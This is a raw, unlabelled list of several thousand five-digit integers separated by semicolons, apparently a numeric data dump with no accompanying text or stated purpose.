33128;55828;49127;41238;23537;18086;60938;16852;26049;13010;54524;32708;64520;54677;30352;55796;20723;62390;64472;54756;16555;31653;12761;10798;60514;18980;48440;22429;51157;56253;18976;23997;56799;45942;36311;20984;13115;32247;54462;44260;32212;11741;54213;30174;45633;18943;14800;44027;22195;37823;17115;41832;12763;66367;58136;48990;43219;36125;35183;54561;14107;20165;17374;29050;34179;58742;32879;49454;41244;48605;35752;41165;57147;47019;40721;28462;63724;59797;43052;28718;28732;31665;27326;61824;23604;51057;59080;48368;52640;42342;35706;20158;10747;40504;27770;60740;60250;19862;31818;21055;15607;50856;33073;64164;46718;43246;45922;12199;32376;28332;61897;17407;29926;46528;36043;34431;28964;46671;18714;12358;62094;43421;33535;43188;57364;50161;66144;29021;28176;23211;29608;10498;23319;13369;38098;22956;41931;19007;61294;45543;37059;63934;27489;32102;22515;37042;23174;15708;30206;32463;22430;49367;22247;12869;30491;30234;53637;39070;20697;42146;29823;10625;46148;59183;36257;33129;62395;52634;33896;42953;63209;10615;45590;60471;59933;35275;61502;26703;44481;51578;20965;11138;50149;65804;41519;64946;39044;64108;26674;40219;55861;63034;17448;42170;35410;66554;58692;66101;52593;28854;12473;37870;64739;12349;17838;65132;56395;27747;45785;39570;17327;55858;56674;14273;43614;10256;15466;61272;10434;61793;53525;37006;24974;49048;49719;60119;27787;33581;46994;18979;23715;39286;25896;47319;63471;43884;48672;29524;57412;36286;53324;51343;50250;64427;55571;16777;24525;63452;45232;53998;31602;62503;33655;47209;42204;56471;60055;49287;22863;48652;44615;60846;37293;63679;39020;49094;56783;37316;29702;24046;60807;63866;18454;12811;61111;27582;26342;21053;22640;49601;30037;13607;23133;56495;46116;42980;59262;59391;44098;61181;44395;28880;60882;13460;21105;39648;12983;23939;11100;58936;25286;51527;17635;40779;64948;58943;13656;21826;45067;20445;11816;54829;25063;58137;25825;12251;66787;53177;38368;13383;32412;18580;37572;61264;45477;58832;66236;59440;48209;57460;55517;26887;66734;61387;33794;33355;10361;25346;33922;38808;38483;15741;17124;55972;36922;29388;64949;60238;30989;58546;62256;29934;12367;63778;48437;65301;31235;47844;18935;53016;25430;44344;59646;13872;55046;49654;59081;31052;65062;57444;34253;29620;56812;21166;33366;26858;50200;27657;21476;45813;17133;44958;52215;32057;62092;15164;46124;27123;18818;20923;45253;64422;46644;15876;62355;34074;52206;53805;47675;64446;25472;28600;15081;57515;62294;52076;26173;58745;66945;31478;33829;59505;46590;29103;46104;49073;16062;26404;16414;22451;23948;17393;16907;35591;59648;22872;10263;32787;48272;48852;33109;24043;58490;30921;23179;46018;15308;25164;66227;54638;62148;46926;65988;38277;54574;29520;30258;37620;49280;37738;59204;58899;46662;20311;58218;20627;18001;33211;61981;52567;43599;13905;30822;33301;44558;62612;15702;58786;42069;22480;59066;29604;62956;65627;41634;50788;58501;64426;22428;50184;21803;16481;47177;52625;62570;14414;55444;16391;52700;50236;23720;56352;23376;10305;49689;17837;52057;31658;60168;15214;25238;11925;49521;62598;51029;59905;39979;14650;40706;43273;55263;10511;41507;50974;10504;15600;46566;36402;58551;36847;34289;23391;17183;41057;54097;63659;53187;39271;54598;11343;43903;39425;32286;49099;11377;23857;25669;59065;31939;30227;64625;32588;53408;46929;16003;30663;52116;50417;35688;32316;12018;58721;55702;47224;59678;22914;36164;33873;48537;24344;59950;28769;32140;48735;47758;13443;64856;34835;42084;63962;30962;12480;29537;56913;43004;66784;63434;49875;14150;38223;51641;28339;50093;38696;58128;47838;58414;34635;23439;55191;39600;39918;59531;55779;60600;29058;30192;12091;38003;33552;22672;30541;63015;58062;56188;39130;45034;33368;10284;38789;12944;31178;25803;35853;51985;52034;41584;52251;52314;41790;35201;48715;14574;45547;13501;63887;29997;52339;18996;54912;51359;50678;24178;42985;46760;18847;21875;53459;54356;15410;60544;13338;31157;13246;57052;62449;58645;28131;43569;48372;47453;34786;24518;25113;26188;50023;20869;14776;30834;19758;18929;50086;31743;37557;52945;63731;58618;14694;30508;54525;52562;58929;59686;61990;40707;58708;42335;47595;44009;23330;37381;29785;40790;47633;35876;35741;24900;46177;41772;24468;29762;64601;62176;12785;23908;11378;16674;33061;25052;33641;54426;23143;52419;35711;64350;65686;42326;29249;19158;56862;29311;21762;64798;11759;12674;58924;40974;54804;64561;24352;38781;11673;43861;15829;32634;21095;46713;64017;48844;50986;14989;66225;31816;44648;13865;41080;10295;48355;64560;43544;21983;53964;37445;32835;50658;20127;39064;33771;62916;52934;23251;24320;65516;57537;66002;13449;43433;36023;48698;26779;63853;19617;51751;35660;10518;40551;65671;59437;13824;15672;65991;23489;29291;42064;55806;54891;24242;65894;20593;57242;13201;32014;26576;43834;18468;12054;13087;14821;47040;19650;16856;51071;14102;24642;38387;38627;60214;40144;34197;51840;16424;40289;14098;35090;30529;42344;65422;13533;37676;19717;55954;45612;29305;59478;52735;52328;37451;44122;50181;25246;22509;17487;47440;60526;37880;41553;33219;48250;16798;16886;31707;16381;10490;41533;15326;51820;37041;11322;60626;11321;25018;55331;32534;43707;34791;43312;48468;45515;41429;46674;19200;15483;45160;20327;57593;56957;14863;34549;57881;36463;66089;55319;31120;56214;38266;39380;10476;26036;54515;44633;25553;29076;35716;64886;20812;33127;16915;28248;47197;24339;57198;53292;61718;26860;13590;17047;20548;15243;51979;53520;12042;35036;19083;19542;34654;34879;29908;10125;57456;21355;45910;51864;10697;59238;32930;45006;24537;49163;26527;12499;40732;42814;45368;61236;26863;65849;28831;59289;19440;45948;23524;35757;58788;58566;35796;54888;31140;52086;38623;22713;60243;13936;13319;35753;18612;60964;34547;39195;62818;33877;24129;62458;35178;44124;61404;50345;11583;60203;63908;43721;51405;54967;20494;38800;58286;42706;31434;15701;27769;55137;11710;62111;33510;41240;15865;49444;43543;59132;28120;16645;32255;64871;46077;39692;24976;49000;45403;61245;23264;41372;56329;43272;39632;29969;33536;14387;23065;19807;31397;15348;50586;43255;14020;48205;62428;18874;12453;54935;59537;30200;26230;45359;30465;56130;48399;59988;34012;45535;60228;36567;66913;34420;64812;53817;59831;31328;24566;53976;28937;61879;57130;26029;27701;53925;17112;49757;52186;36962;27700;58830;37875;48937;28657;27031;52930;60434;31034;45395;13876;30021;13098;51040;22101;44622;50862;44640;43828;10843;35043;36941;50546;42218;43158;50709;56343;54351;41891;45567;32448;37163;30146;59964;65799;50854;22160;61231;54297;14672;47656;14591;10429;57192;13399;62504;36831;38091;18572;57745;21186;41565;57314;29197;51464;16671;33695;54904;60818;49577;33325;64386;19282;51050;51964;46090;66366;30770;25056;19594;39900;29326;30389;57040;53883;32468;29976;42799;64238;66244;15556;61983;35517;44168;45394;16266;19028;23626;46897;41463;14652;27064;26781;55981;14217;27065;41145;39270;10391;51177;22359;62654;10020;24549;20790;37610;41878;60208;62754;55135;42990;22659;23980;17284;37145;44743;16135;19340;16476;16546;47646;64363;29547;51072;44235;41255;52600;19649;25388;48670;20279;20371;65915;45584;20802;66067;22363;13794;51837;56105;60680;37077;17808;51793;40863;13199;27702;45314;24196;34186;24183;11292;45654;45935;57589;44523;26072;51381;47349;18300;32543;54953;55576;46716;64820;65683;21236;27101;55300;60116;32366;43143;39504;15455;62319;63327;60436;11754;13377;59319;33344;43398;35872;66843;62187;52691;10809;19772;17984;11642;64456;30930;23840;18623;38092;23985;28113;44215;35131;62593;65557;55374;29503;25267;19015;66964;17412;42205;11472;22717;50971;29129;32613;50685;64157;37888;35185;59566;12268;60557;54498;32852;41439;59636;46376;22204;22798;12590;29508;48354;49049;19036;25221;40510;56668;13180;27431;25045;54937;54920;55617;18178;36757;20828;17134;62996;33934;22670;38533;58813;60981;12264;54001;22242;22031;37419;60575;61875;57377;65279;58892;65685;29689;48923;51621;19396;35533;24316;36058;58870;56647;63190;31212;32265;19302;17578;12636;30640;11241;33658;36806;62709;60123;30563;29409;32337;38239;14061;61296;33216;48180;24186;44890;54436;23334;23402;61587;47459;56516;60025;52352;50651;53758;47678;32390;30983;27154;43742;40476;32134;54613;29312;22967;62998;22368;32326;19001;60795;57937;31525;33067;12530;41705;49902;32928;55912;45866;66655;29337;64280;59359;57086;16763;30065;34659;27423;60851;34278;60837;14810;37190;39031;49305;46207;54259;21652;33684;64215;49808;66027;65287;38206;17696;16211;14264;24036;65015;50150;27094;41547;13998;25550;39873;51028;28554;27962;20989;20307;64436;34886;42735;24909;62532;28178;24871;40819;22861;41401;20884;13232;45629;46531;33313;10733;12415;18860;48571;56788;11860;29182;40840;53541;43555;31704;14983;48734;45521;62606;50893;39786;13436;43268;55120;65396;44691;31957;47645;45278;49662;12680;65088;59544;63561;17767;40933;53422;24601;48663;13736;43695;29629;34122;65933;55511;19711;65533;51084;61765;28737;11227;34823;44681;57360;30829;10614;65767;61444;49604;14844;19756;20209;49606;33382;24635;49129;14257;49885;21544;23710;20410;37775;14979;38805;33122;24143;22461;51316;20361;16751;18005;28490;13716;34387;63184;32336;62975;52298;26986;13852;29765;49834;52134;34867;58058;52806;24244;24041;47031;52374;34371;61868;37591;11332;16483;66250;10752;39859;17580;10554;66488;58411;31886;53852;64268;39156;58376;53946;19332;12991;22823;16725;20964;49068;65697;34210;39123;48564;17089;59023;44584;10627;35631;64224;17331;55412;24060;33244;37267;31979;23329;28198;36042;59017;30690;48845;55103;39661;38147;52475;61367;31033;51945;39438;54016;48794;62268;57957;22575;12360;10322;18403;44741;37788;44821;58619;41895;47539;63436;13262;58806;41264;15338;47836;28702;51476;58873;20244;20809;13004;12320;63254;54254;30726;22395;58733;57778;61616;44251;18682;21623;35100;25783;43516;44838;22102;38613;57265;39566;23787;53723;26958;28072;64035;50994;16729;43967;35257;20971;33484;24274;45213;55704;32184;29031;64686;55883;52123;25421;36331;30943;61394;66290;11803;36997;23137;52857;10687;49095;47685;28489;38262;60048;37709;60254;33474;40255;19135;53169;16328;16574;12550;32958;15707;31879;62258;39096;16508;16482;55890;22390;45619;45972;58295;47247;29627;15422;14015;26998;49575;42927;17839;61014;66455;63044;40463;46060;46000;22027;41040;62638;15560;39414;18807;24482;15034;55039;28330;46257;59386;61204;64824;10109;30973;22321;33828;17064;19818;36473;26380;17523;45055;52670;46219;60352;33705;21953;14510;29345;41825;49835;43784;15801;59912;33541;33823;43735;38109;56784;20834;45378;48666;28302;64884;45131;32961;54173;39685;60833;22517;35944;26714;25773;32072;58565;20314;12565;62700;64769;48339;45008;45578;64167;14194;27041;66626;65967;19839;45153;65963;44352;25075;58639;45212;13293;19125;54069;63134;54221;13874;26261;40754;62125;41567;62325;43800;57698;23835;46037;32012;31142;12740;32762;40242;17130;49523;17521;27298;26945;16218;12880;37650;34359;65521;62488;39539;60173;50845;46820;49717;17001;34267;59941;26382;15343;14485;41658;24512;29924;65471;19905;41580;65917;15697;47218;39318;22753;42938;54368;63233;21364;16296;35488;59641;64282;29653;21628;54212;61975;15922;65742;23132;12568;23295;27538;33639;15113;22365;24973;20234;21913;55189;19247;32455;50600;53980;37458;57131;60936;58587;21704;11339;25431;65185;41408;50551;31648;30424;38785;48308;61886;38250;25681;35422;55215;62524;13904;56869;34249;28931;41023;66610;38554;45591;25334;63423;28294;31015;40438;28069;34392;48908;65464;21446;58344;16731;17252;60588;28636;61298;17347;60777;39578;13154;66764;59457;17416;63252;60292;65143;54558;50192;38013;23022;44209;16616;40930;11864;25544;60296;47213;25577;43953;47073;13553;31207;19811;24817;62038;41003;47292;44317;29452;19291;60159;57035;54516;49022;34942;24068;28597;56355;65827;24748;42643;52177;26659;61834;21174;53101;27616;18992;46417;17724;39529;33432;49544;27696;40937;39305;27636;47832;52096;61184;44061;22527;47782;53940;47428;13198;39471;20995;30858;38178;66502;61378;28452;57845;51592;27354;50980;48531;34288;32623;58207;34994;39185;43351;35842;55089;33624;64772;64791;51755;22660;10044;41309;57158;59055;16691;29464;52012;65598;39469;52098;53947;28952;59697;50857;43168;34440;58549;34463;19093;12114;29928;21601;50769;33181;12819;31721;14626;41329;35780;15167;18902;59842;10170;47498;24341;10383;65741;61690;41684;54911;51779;54573;35443;41344;53750;64905;58170;27258;41925;42571;35971;35085;61962;44198;35046;37308;15329;36438;64322;54934;57002;30643;51016;21038;21892;44139;30256;60815;15624;42211;45765;65070;21506;52643;48522;49416;11304;17544;11907;56433;34810;12098;23466;21390;32774;40030;24995;24980;16072;39288;22135;50097;39932;58298;41047;62350;32825;58223;60110;19105;15695;56802;22518;20143;16761;55162;57455;38488;12511;53791;54774;38961;61655;33785;13489;49612;12491;13223;44327;11856;53969;14080;13614;50725;51735;30912;57614;14499;46173;46733;58555;16770;28997;42346;52605;43585;28980;35961;46660;64276;16878;50764;22465;47835;22550;66609;57375;23361;65887;55474;47882;11981;12096;45741;19194;13628;59836;27317;51386;54276;22549;26985;22626;22231;50202;39148;42093;13088;18703;37576;44171;40843;33556;41383;25729;59742;10501;51270;64372;48768;26722;57030;41999;14625;53356;37837;57732;39869;59115;41645;34399;58407;45163;20786;34541;36946;39440;30195;21363;22427;59094;64134;11346;55758;52270;66136;27881;63104;52755;43458;29380;49688;15336;30747;27953;45176;16412;54716;56834;28079;55168;33314;56504;60279;65854;50871;32682;39649;60143;37579;62995;49932;49602;13493;25565;50063;30344;52304;33787;63753;31508;56426;53481;61798;27060;16358;33488;39674;39437;45207;20124;54808;15500;27130;62007;33119;58981;57897;30362;53057;48498;16310;14427;35997;44109;42321;63986;60725;39046;48901;43902;18016;23543;61950;27387;16258;43744;40075;35603;35869;57885;66478;41662;56965;13170;57962;54593;18607;36846;31486;56475;43501;21729;53933;27647;23279;14889;66211;26204;37124;61279;56764;48316;24048;19548;66006;10329;53959;62137;57048;39324;34298;23976;60984;51149;49090;46980;31341;56046;27751;27227;51477;42099;10561;14885;20254;22364;42883;43942;43661;22467;29883;52207;42575;58864;40097;48333;17067;46895;24081;36588;34894;12757;22915;22063;30104;11997;18803;44356;58025;14671;36454;49136;37148;14457;45190;39712;13792;20666;55210;29567;41605;12038;51244;34091;45499;33470;47657;53083;34739;11293;13966;38246;22883;46741;60335;16650;20427;61820;22387;43346;44500;43760;39888;66768;15449;36998;18339;39449;38300;44415;11399;53313;33827;10927;26148;17235;36393;28205;11976;10551;45930;38793;43633;53551;12008;64952;54822;13347;46169;44613;37249;22001;28371;51283;40976;33386;61188;65303;62719;20031;43500;13407;13843;39377;15426;38259;26630;25674;62496;19503;26968;30964;65563;16581;28086;15689;15077;10085;46759;62758;15983;16510;56306;10451;13214;63859;15585;11771;40588;52360;40489;65265;33151;44253;31754;63864;52229;40392;54983;59355;54434;51223;12236;13184;19706;46958;46516;23450;26623;43733;12025;34749;54311;23267;62264;10543;15155;30467;66688;29319;53091;37312;52683;15254;53971;19621;36812;56423;19298;35418;24075;16758;63229;43050;38875;11424;29545;37916;42567;35622;18783;20640;56335;25691;45152;49620;18828;30067;47424;63752;13589;64016;37212;62686;51646;51982;35179;48873;60324;36220;33048;18922;25059;45323;28129;11861;63194;58525;32118;33421;26619;25308;18779;57355;66378;39443;12051;19170;39428;55706;25114;38180;26484;32886;23959;44013;65820;52024;61984;63477;16171;15026;41804;44833;28466;40118;52505;63305;62027;59594;15091;23400;10685;10513;65553;44660;38862;24473;17732;47781;19926;54947;54746;18881;31399;22647;28916;11253;26428;11839;50829;21378;17830;61693;55916;15242;51335;24357;64385;61305;24459;41514;48989;52737;46329;40049;11683;41621;41585;40786;25752;17534;27548;55830;38218;49344;49468;60174;41250;56876;35160;51389;12745;52664;58735;60180;20778;48704;13851;26833;12758;25838;62334;20042;54811;11170;62236;46435;53699;11095;34077;37177;14067;11042;54510;40197;13622;55705;54046;54440;62947;61760;55020;44069;55128;43437;54960;63097;42810;25252;35611;62097;19166;10650;36591;20625;32836;55395;60224;17281;15561;54552;32979;54661;13938;62130;29122;15994;36448;59162;61462;55742;51252;45128;30422;21153;29980;40736;16259;46680;32803;31503;56023;17246;53614;38334;22680;54775;42647;22599;29174;21225;34161;54877;50137;59118;42248;39670;49664;20395;43659;38704;55601;41928;14685;61804;53744;35899;52531;39052;41282;37233;66303;54435;33709;61669;20242;18407;22396;50145;50939;42130;50911;18579;54609;51865;26525;48282;42667;31981;14364;43369;57872;23374;30223;20506;15463;54505;27429;44562;53678;30439;39545;63633;27042;62603;49762;19152;18463;14597;63296;61930;40393;45078;60188;64250;54220;42240;45786;36152;33392;19120;33520;56655;52898;53485;59773;52740;63484;36901;26865;48885;34468;32058;49582;64762;40653;62291;34094;31123;45277;20295;32436;58105;30330;65811;34183;66807;61056;60732;57565;15207;60521;43390;20137;21770;10289;54326;13608;57436;31348;45665;59990;47078;47609;60303;29228;29826;23216;24408;24553;48446;22448;60011;15018;33478;52391;11128;33394;12700;54224;39951;45185;30883;40096;26071;36789;21304;18476;28967;24243;43423;63166;36852;52413;62850;61842;47900;34605;20091;46250;37119;56180;39225;48358;25549;25187;27543;11728;47636;21449;17970;23780;43505;29324;15531;21360;39825;10906;43230;27970;51649;28573;22613;66519;34279;24039;59911;45568;13899;52135;39217;63638;57119;41886;25641;36365;58522;36115;26761;11432;29825;23008;57583;23342;22333;23545;16552;64642;19406;16774;46246;26134;16104;40893;65284;11775;31040;53181;16660;37029;33330;11351;23553;60226;47084;44178;18794;57825;58320;36264;31646;28516;24388;20233;23883;50454;18882;26745;39307;17002;40561;55655;66887;22687;53318;59781;31884;16293;20421;39609;30734;33334;15080;39850;15383;40036;21158;12962;41235;27045;12294;19394;54776;66881;53237;33712;25979;47528;52433;44157;55590;32815;45990;51025;58494;64373;36561;28412;20968;45061;54310;60494;26043;25642;50414;30255;28107;25311;14987;18599;16438;32154;35866;33275;56542;29202;58296;51716;19284;19251;49669;24573;33117;53889;63002;48176;41259;33649;53684;32198;38879;37980;64562;35969;42966;49159;20228;17579;32586;40969;45513;18886;45414;16428;13059;24786;62299;23173;56115;56029;39154;37444;44994;24302;27305;41649;12475;31945;18080;51651;23176;24649;15125;52687;66601;60507;58285;33019;64072;43705;61130;61695;20495;15577;34608;26688;23487;28497;14026;36742;20192;38954;30684;55205;29839;58289;62745;56816;41777;52221;55348;11335;44351;57734;56035;25615;25511;27998;19688;55156;64122;33532;56586;28518;18471;24739;41518;32423;54010;27113;66769;46598;15836;21800;36810;54458;63735;20344;19032;26706;64349;43089;32889;64710;50005;12512;17036;50478;42121;45181;34836;23770;19504;30041;49659;25211;24855;33157;12968;65633;46069;27774;20894;39667;27360;34040;62911;32310;66040;28528;47026;41733;36960;49853;31044;58691;29718;61489;54217;23634;41730;38279;46393;24488;24607;41719;15767;44871;58557;22597;38927;24176;37160;29151;27372;53390;19104;58388;34369;66528;22280;27444;11092;12495;41193;33995;23645;25952;62090;49385;41738;21309;55332;20760;21034;43185;29636;38051;63952;33953;54414;23303;17815;19179;20907;26909;50776;45902;11027;21769;17553;51585;46275;36767;19910;29351;39984;22444;64031;35200;40935;55579;22533;31249;16911;34568;60162;51121;39162;10113;66330;37828;14433;22103;31356;59927;44057;29805;34630;44658;46761;64293;59479;34084;19658;59796;36488;57527;51030;61402;44926;23887;32526;44599;16092;53690;48575;25956;46530;55884;38146;47042;37017;57503;42703;45746;64486;43481;40593;62562;50737;39717;13131;23739;36124;34877;13005;13350;46367;15347;43935;65619;29494;24576;39411;14228;10972;43034;10023;15305;27202;24136;47484;29474;41110;62544;47590;54247;19482;49724;21020;38714;34859;17273;62484;41010;20457;44129;18954;56605;23248;63732;25492;27855;29892;26260;46836;17316;13000;66510;22552;10659;43649;39103;51094;51169;35140;64693;18264;56819;12519;38467;20225;43956;58012;55027;16643;43930;29495;49275;17104;35398;46314;29798;56032;56437;46038;27207;33751;37525;43334;60256;55743;56718;58413;60474;52203;35000;15843;28374;60858;17643;63719;45307;47614;49600;13670;12593;58420;65755;15833;64401;11228;36259;10948;39222;26461;40128;49084;30179;15641;55318;32121;44125;64528;37275;24031;39644;45391;10181;55392;20123;18735;30397;56612;52855;64896;29155;21520;26840;32653;19680;12931;49935;45173;52416;34873;40684;45098;13777;39280;36232;30451;46396;36980;28197;28624;38900;55629;46948;47092;41938;13148;30100;21784;49944;57396;18367;42112;42587;42179;31681;59523;38481;10512;39755;32001;52350;44912;54334;17039;31497;26016;12448;15354;17149;51917;66826;57823;28752;27690;20906;15860;57750;46801;61498;55701;27562;25159;22593;50836;63762;47098;46736;31563;24429;57882;35258;42338;38638;47666;11564;45744;66627;46974;19344;26826;60877;47891;55635;55939;48630;24071;65838;22749;51188;12036;62912;32760;22230;25166;64382;51336;26327;35782;38918;24958;54365;23414;15642;65708;18309;19341;23270;46398;39139;24850;10700;54073;16670;14703;29506;34738;13077;29563;57458;55098;22329;58444;31593;38041;37231;44757;54235;27036;65475;23949;56286;23092;58373;42208;44667;11048;35184;34451;51988;52775;66548;34971;61645;11843;51210;19033;41827;32233;48888;55669;30501;46889;61862;10121;33948;21028;13328;54249;41496;19496;31606;35150;59157;63080;55130;66780;39301;61192;35717;52308;33954;17063;41201;58578;44006;50004;45013;42809;38330;36377;53905;50915;64632;30534;15605;45360;41167;46979;54169;32779;42609;26452;33140;30444;10558;38592;21077;41837;47479;19316;27622;55141;60713;43511;56577;53821;19144;59152;33266;51469;41773;32637;65281;39458;38689;45211;15614;51803;53358;14117;22571;50982;40622;64618;56678;35403;18727;48546;33426;47611;39791;24561;43137;12949;11927;51665;17825;23569;57146;66415;53193;61740;11934;29335;64495;31934;37257;53597;22338;46025;53347;37285;45157;42870;38828;19882;17203;43492;30254;25290;46142;26592;23063;53046;22756;36744;36237;10709;31059;59726;38615;22643;39591;31380;26154;25819;26432;24916;31202;61363;45372;33102;24735;51431;10781;48432;48766;60571;11859;10103;52638;39733;36420;58982;27614;33547;27388;65743;33189;41121;17515;37511;55476;18327;21885;13879;37660;50068;63635;44381;26424;54021;61900;38894;24538;60332;40098;11220;41918;42244;15013;41403;42442;23946;38924;48377;36168;30087;61434;39248;25474;56694;36223;48346;51174;55252;40272;59695;64162;10094;60345;54542;36452;36609;59477;33101;65576;56380;53206;36424;62293;39723;19320;22224;49581;22556;30271;51623;21483;47468;60802;55893;52692;25080;45283;27919;64861;20962;36382;12779;34571;49215;36384;54837;47522;26977;18500;18371;66165;20318;65547;49818;58623;19567;34033;61185;15626;18172;24400;43302;57424;19161;13479;45268;41686;20080;66047;38594;63707;33277;50175;53491;39016;40107;31853;49093;43703;36418;16413;62626;27006;25853;53511;25090;18616;66746;51445;33943;11697;19995;27307;44671;28465;51998;41370;46168;34397;60479;38558;22192;57042;17375;40088;62939;49340;17367;15376;64055;45435;51296;63656;53218;50547;16805;54781;65900;34998;20681;41211;14322;48690;16563;42561;56737;22279;16744;31169;65429;14646;20426;50793;42320;20317;25630;19932;58602;47033;62862;49863;33748;26618;14715;66402;12253;26340;22114;64955;25833;49012;22646;44366;36150;15612;36803;29391;42092;31959;62050;17511;52394;62011;57757;16411;39188;58883;32302;51021;26988;32111;45494;16610;62928;17218;25249;41472;27100;45470;32911;48823;14849;64623;17471;35847;40357;42569;15492;54763;66447;44041;28065;37542;55684;46266;35536;32994;38693;36167;22018;23169;38112;60452;17659;21625;27948;46378;27530;66931;56192;35425;64302;15136;19614;38930;59699;11751;37320;32731;27718;19071;23434;60419;30791;19436;46870;65172;34624;49028;51262;43387;57394;28856;65951;19370;27754;61536;17794;31637;36045;32833;13764;24236;21973;64484;45656;65616;10302;36159;38182;31675;31564;60222;12306;15118;31071;28034;19253;34586;52598;62388;57902;18274;16330;25504;58037;41358;44416;11222;66916;13685;19188;59771;49140;46209;56665;42568;56294;30600;44758;43032;63056;41043;30242;14037;26269;11725;24245;23845;42386;36361;58711;22271;41959;14197;36958;31676;32712;32087;27055;50019;58512;35939;20863;35047;21340;10127;62865;50517;61770;52084;50085;10148;53140;28458;38974;54497;45777;30613;62061;64597;14759;43817;50708;18004;64408;36821;52568;48986;66544;22734;35650;22955;13858;13520;10536;39958;59972;20265;40914;45290;12939;31657;50363;16366;21116;19724;19873;37331;24329;42804;32182;66128;66493;51554;11631;60104;62881;65308;23044;42227;32798;63399;59255;33491;10401;14792;37621;46400;65205;40399;32767;11028;32496;39662;54927;19662;31079;54845;63525;17427;36157;59597;64023;17212;22890;31622;27327;52896;14765;23090;60432;43184;20958;19259;37466;36625;32266;33704;23193;60037;59837;24480;10274;45265;44407;33626;17811;49658;49257;42243;47283;29764;37584;42025;52294;58088;37505;36923;39533;11845;50197;52317;10905;26597;51236;56377;28441;65173;47594;31280;63949;16954;43049;30928;25280;22513;66795;50238;54568;43813;22572;53513;45790;51911;15447;56661;46936;61766;50987;31712;45068;26243;29501;58660;51888;26299;27531;19575;65679;33144;65166;53536;35040;55760;32752;47086;52170;66337;40303;43461;38718;24469;34529;58303;42389;48453;28231;11505;65027;41491;19803;23214;65735;23744;50489;20943;65798;31023;17214;51776;66425;45481;28747;63397;56511;27612;34550;62595;31477;21203;65130;13856;23740;62861;53037;20873;11760;30823;17485;17060;52652;10045;47312;19350;34527;50448;21276;55674;65229;62030;62667;63463;63779;40981;17215;59350;27771;21111;61265;40266;58403;61800;31674;43769;28416;28405;36640;62098;54969;37368;13073;46499;34422;13840;39157;36472;61942;56982;36887;18849;30180;29150;14348;14612;10298;64364;45880;17043;46520;45120;21833;52860;10967;32721;30376;47603;20596;12429;37827;28350;33763;34078;35868;44549;60566;38586;43453;47872;13151;13999;52429;34395;32011;62668;52847;24097;20131;52818;38460;45620;20214;32278;54322;26729;49864;38633;53736;37480;36530;18252;57332;19380;16162;61905;33046;59036;16760;28031;27105;23014;43756;25128;63947;62493;26344;11897;66353;32855;30088;59095;38684;54656;19792;39931;59642;30801;28141;44882;15450;39671;44322;51203;11069;10692;12507;53174;54141;26514;45425;28379;12934;58179;59285;64511;51914;40131;51832;52595;23119;24073;34144;43920;11498;53636;36685;41083;40169;32977;45225;37452;59167;40773;46838;47578;23017;66685;59628;63437;28064;30221;31271;24857;59087;38570;51125;27666;39760;65403;51591;56488;58224;34443;47189;52226;14722;63241;60940;11336;47261;32893;20366;59904;61120;15604;23863;29885;23653;46345;13361;54391;18668;59632;42471;29288;60617;25785;57667;33241;41175;51104;43349;39713;56328;49332;43890;49483;58032;37070;21190;28723;37854;52351;27861;30680;64629;54178;25733;21350;44756;64193;31113;37075;30097;14120;42000;33425;36843;31165;13275;29046;26026;27918;41877;57311;52866;55784;22343;18968;15252;52476;38907;61353;40698;39965;57414;45111;63795;51227;13996;39228;63936;26496;53171;17788;59627;34684;26749;47577;48471;27917;46268;36540;43856;14193;62229;66779;64221;57164;25812;50132;12786;47109;17259;35528;57648;63173;24240;63645;37868;11972;58307;50199;34093;30806;65621;38234;41756;58047;10517;37040;21132;47361;37225;12645;56087;62609;46694;15619;43175;21634;39930;25850;26363;30189;12957;34131;52121;61839;39198;35151;47878;50758;38265;58308;12846;27942;60261;21658;16065;19474;64061;23962;64552;18067;27435;16207;27971;34348;66263;65878;19224;18955;32573;58697;27520;26166;33083;48568;52584;29130;62370;23594;48567;11974;44047;41624;52007;18742;44888;13042;16316;37199;40275;35705;56393;27191;18757;40313;53265;26843;56637;13425;57576;34730;13924;29004;16683;50504;59117;47725;27639;47709;28019;28148;12634;45581;24478;37213;49393;19140;33974;64380;62028;27294;40694;42168;40318;42077;13916;24808;66219;23743;64441;42188;30868;56548;27985;13883;50126;26935;60053;52863;60789;56960;52470;60506;48586;32107;13514;61041;61132;54438;55426;24407;15278;22621;28886;43879;24764;26315;18285;47356;47104;43160;33158;41803;19117;13257;20604;54797;26978;10637;33393;16694;23500;26240;19435;18199;42881;34878;17011;23321;15032;16399;53403;37067;30135;21681;24564;54208;34433;52911;51412;15297;24745;23503;50773;10214;63123;16351;44723;27864;49744;59533;20721;46175;53728;20147;32875;23258;23002;11032;44263;51742;12702;47730;53595;40308;24141;53973;29952;16060;23682;14483;55072;11287;13009;46186;65117;55375;63685;10047;18113;28386;19353;18355;13255;55290;63637;14293;53070;59404;53345;45267;13571;55780;50364;41481;56716;44883;46981;11896;48408;21806;38029;49345;28972;10016;63494;17826;51905;18177;17308;10593;65705;32606;65490;34750;46764;49928;66872;24543;56367;56582;35365;39145;66238;10079;50334;43830;16520;55303;24505;43008;33585;64418;42182;62900;53160;24311;12834;16445;10436;24306;59395;39829;26661;37603;22008;53478;27950;46311;32748;55717;23599;62708;62720;54413;13779;54580;38328;12488;65188;24915;40987;30694;43074;21031;15580;19122;63632;25299;64904;20251;59553;52853;53804;19295;57807;52604;56618;58399;17180;53165;38721;57472;43928;39450;53419;44401;47115;47571;27872;64956;38516;61280;41578;49868;41538;29125;44764;66666;25892;36092;33992;31516;59265;22843;23418;57215;26110;54087;35680;62753;52937;41512;18974;31528;52532;32636;21085;20770;44486;47135;40824;46158;19206;18550;47643;53267;21921;54865;28011;61794;33854;52957;53898;45101;61727;49856;43889;32046;60969;52130;30191;10510;65034;65731;46525;26746;50933;21124;15802;34372;20535;60780;52031;23478;19864;53629;57976;58437;27735;59474;18933;19582;34565;51326;15588;10117;22109;63902;58894;41202;48511;59346;16376;18014;35433;29647;34804;27719;35584;19384;47721;52083;30794;37266;17780;57496;31900;45796;57851;49481;40669;39915;57542;40326;39284;54769;63810;21183;47504;22547;64443;63906;46297;32789;60328;19993;43257;20705;48563;38565;37735;45168;20007;14007;54127;43077;35499;60470;41004;58505;40654;30299;21180;31548;24532;34282;35322;29246;22918;11618;15275;54246;19808;53564;56905;61940;35698;36815;56107;29234;54392;49846;54511;64530;44942;52557;29214;38470;16112;42173;53415;15603;36905;52266;55436;35299;10440;58122;22433;28946;64619;12982;15130;66413;49364;47370;36038;57430;34485;56671;55793;46204;31651;58893;42269;62914;60738;66724;59667;32560;39746;56142;42902;11411;33186;30319;23335;53368;42693;18583;39258;60605;18349;53619;16994;26114;23671;22786;51564;62317;16286;56446;51804;44400;22589;55456;29677;58542;36060;66557;63990;37927;58988;28297;35111;18250;